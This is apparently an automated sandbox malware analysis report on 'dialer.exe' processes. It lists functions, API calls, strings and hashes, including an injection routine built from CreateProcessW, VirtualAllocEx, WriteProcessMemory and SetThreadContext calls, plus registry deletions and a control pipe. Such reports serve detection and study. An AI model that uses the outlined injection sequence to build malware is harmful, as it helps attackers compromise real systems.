Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

dialerstager, xrefs: 0000000140002694
open, xrefs: 0000000140002960
SOFTWARE, xrefs: 0000000140002675

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 3276259517-3931493855
Opcode ID: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 00000027.00000002.3126754489.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000027.00000002.3126364002.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127169767.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.3127533864.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: dialer.exePID: 7712, Parent PID: 7348COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	897
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCloseObjectAuditAlarm.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 0000002A.00000002.3126776839.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3126385510.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127214809.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127581724.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127971405.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: AlarmAuditCloseObject
String ID:
API String ID: 2871759311-0
Opcode ID: 7499237b17bbcd1bcb6ebcadcdfb411da627e67431d6b901ef04fbd3b683fc4c
Instruction ID: 6e9c43e43475a5412bc82c74bb0b22b7dbbc15337bd8e373d78586065a7e04e3
Opcode Fuzzy Hash: 7499237b17bbcd1bcb6ebcadcdfb411da627e67431d6b901ef04fbd3b683fc4c
Instruction Fuzzy Hash: BFF05FB6608B408AEA16DF62F85179A77A5F79D7C0F009919BBC857735DB3CC1A0CB40

Non-executed Functions

Function 00000001400027D0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0000000140002810
wcsncmp.MSVCRT ref: 00000001400029E4
memset.MSVCRT ref: 0000000140002AAC
wcscpy.MSVCRT ref: 0000000140002B15
wcscat.MSVCRT ref: 0000000140002B20
wcslen.MSVCRT ref: 0000000140002B28
wcslen.MSVCRT ref: 0000000140002B40
wcslen.MSVCRT ref: 0000000140002BA0
wcslen.MSVCRT ref: 0000000140002BF2

Strings

\BaseNamedObjects\nrfynzqfftbrthxk, xrefs: 00000001400027D8
X, xrefs: 0000000140002D83
0, xrefs: 00000001400029E9
`, xrefs: 0000000140002D9B

Memory Dump Source

Source File: 0000002A.00000002.3126776839.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3126385510.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127214809.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127581724.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127971405.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: wcslen$memset$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\nrfynzqfftbrthxk$`
API String ID: 780471329-1852451468
Opcode ID: 15902d1b7b7c1152bf002bcb91e7a227e5a09ce1baa0d3d89b7276a5b6ab46db
Instruction ID: f46a43ac56e251243c59ab79ca2c38daa8753cf984a422ac27c1eaf028b3c393
Opcode Fuzzy Hash: 15902d1b7b7c1152bf002bcb91e7a227e5a09ce1baa0d3d89b7276a5b6ab46db
Instruction Fuzzy Hash: DC125AB2608BC481E762CB26F8443EAB7A4F789794F414215EBA957BF5DF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT(?,?,?,0000000140001156), ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT(?,?,?,0000000140001156), ref: 000000014000132D

Memory Dump Source

Source File: 0000002A.00000002.3126776839.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3126385510.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127214809.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127581724.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127971405.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: b749f654d0317d9e24de8ca2bf6692fcf531ea681135a2e2bde356a6ec223b5a
Instruction ID: 145ef27ce15272fb8ed355f5aa63f0c9a1f5ede9e4593ea7d6eb0f0a7906d2e7
Opcode Fuzzy Hash: b749f654d0317d9e24de8ca2bf6692fcf531ea681135a2e2bde356a6ec223b5a
Instruction Fuzzy Hash: F55111F1611A4085FB16EF27F9947EA27A1BB8DBD0F449121FB4E873B2DE3884958700

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140007DE8,0000000140007DE8,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140007DE8,0000000140007DE8,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140007DE8,0000000140007DE8,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

Address %p has no image-section, xrefs: 0000000140001CF4
VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29
VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17

Memory Dump Source

Source File: 0000002A.00000002.3126776839.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3126385510.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127214809.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127581724.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127971405.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 28aadb8de5dc709acd0a0e5d247f6037aa628613dfc42422a511b90ca232dc4a
Instruction ID: 2ed46510ed1d0a58bb00a12b4a38f7601a8ffa55d26e4d8577210080af0f0105
Opcode Fuzzy Hash: 28aadb8de5dc709acd0a0e5d247f6037aa628613dfc42422a511b90ca232dc4a
Instruction Fuzzy Hash: 064132B1601A4486FA66DF57F884BE927A0F78DBC4F554126EF0E877B1DA38C586C700

Function 0000000140002104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
free.MSVCRT ref: 0000000140002234
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 0000002A.00000002.3126776839.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3126385510.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127214809.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127581724.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127971405.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: dc48a205a360e40ccc39e5e09ba110344913a208c188809db43705c9a7f6a856
Instruction ID: 9494385bac82c96470a5ad2ca80031d016a952209e6f2660f35a807c86e33b41
Opcode Fuzzy Hash: dc48a205a360e40ccc39e5e09ba110344913a208c188809db43705c9a7f6a856
Instruction Fuzzy Hash: 9121F5B0305A0192FA6BDB53F9483E823A4BB6CBD0F444121FF5A476B4DB79C986C300

Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 0000000140001E27

Memory Dump Source

Source File: 0000002A.00000002.3126776839.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3126385510.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127214809.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127581724.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127971405.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: e97456c2db4c566f3d7dc493090a254b32206473731b29f9c59ef8b921ac1576
Instruction ID: 0d0cdd76e27464eab58c3101b34b7ecc2a8ef26ebffc61dfa6a838f535d4530f
Opcode Fuzzy Hash: e97456c2db4c566f3d7dc493090a254b32206473731b29f9c59ef8b921ac1576
Instruction Fuzzy Hash: 0E2159B1A0510542FA77DA2BB5903F92182ABCC7E4F258635FF19873F5DF7888C28241

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B
Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B

Memory Dump Source

Source File: 0000002A.00000002.3126776839.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3126385510.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127214809.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127581724.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127971405.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 7818cc2df225a017ff44da82892a3b8f66bcfae0520395024c1ab092e30cd3b9
Instruction ID: 78106683dca420d487733eb45b5c7fb140555e26720c20ee5b0ca44718aa059e
Opcode Fuzzy Hash: 7818cc2df225a017ff44da82892a3b8f66bcfae0520395024c1ab092e30cd3b9
Instruction Fuzzy Hash: F05105B6B11544DAEB16CF67F840BD82761A759BE8F548211FB19077B4DB38C586C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

Unknown error, xrefs: 0000000140001824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D

Memory Dump Source

Source File: 0000002A.00000002.3126776839.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3126385510.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127214809.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127581724.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127971405.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: ca6b003e7d5e4c1f7dddf901e9dd9bc29e86f15a224b0f641e9277e05f257cb0
Instruction ID: 497f2bda4b805bebb598d258fe75f44a47035596d1a2b2a7541446a23c8471c2
Opcode Fuzzy Hash: ca6b003e7d5e4c1f7dddf901e9dd9bc29e86f15a224b0f641e9277e05f257cb0
Instruction Fuzzy Hash: 61F0F671A14A4482E212EF2AB9413ED6360E74D3C0F40D211FF4DA32A1DF3CD182C310

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 0000002A.00000002.3126776839.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002A.00000002.3126385510.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127214809.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127581724.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.3127971405.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 87f9ce1bbc68f519e9da004e6316be91bec518300aea1fdf9716aad2947da55c
Instruction ID: 8e95c5bf1582c2fa6f49c61d441952bd59d504a178f2dce2e4bc026802320bcf
Opcode Fuzzy Hash: 87f9ce1bbc68f519e9da004e6316be91bec518300aea1fdf9716aad2947da55c
Instruction Fuzzy Hash: 6501F2B5305A0082FA2BDB53FE083D82364BB6CBD0F454021EF0943AB4DB79C996C300

Analysis Process: dialer.exePID: 7784, Parent PID: 7348COMMON

Execution Graph

Execution Coverage:	56.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	87.5%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00000001408460F0 Relevance: 6.2, APIs: 4, Instructions: 209
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 000000014084621A
GetProcAddressForCaller.KERNELBASE ref: 0000000140846244
VirtualProtect.KERNELBASE(?,?,?,00000000), ref: 00000001408462C9
VirtualProtect.KERNELBASE ref: 00000001408462E7

Memory Dump Source

Source File: 0000002B.00000002.3126900800.0000000140840000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002B.00000002.3126441769.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002B.00000002.3126900800.0000000140001000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002B.00000002.3126900800.00000001404DC000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002B.00000002.3126900800.0000000140500000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002B.00000002.3126900800.0000000140503000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002B.00000002.3126900800.000000014078B000.00000040.00000001.00020000.00000000.sdmpDownload File
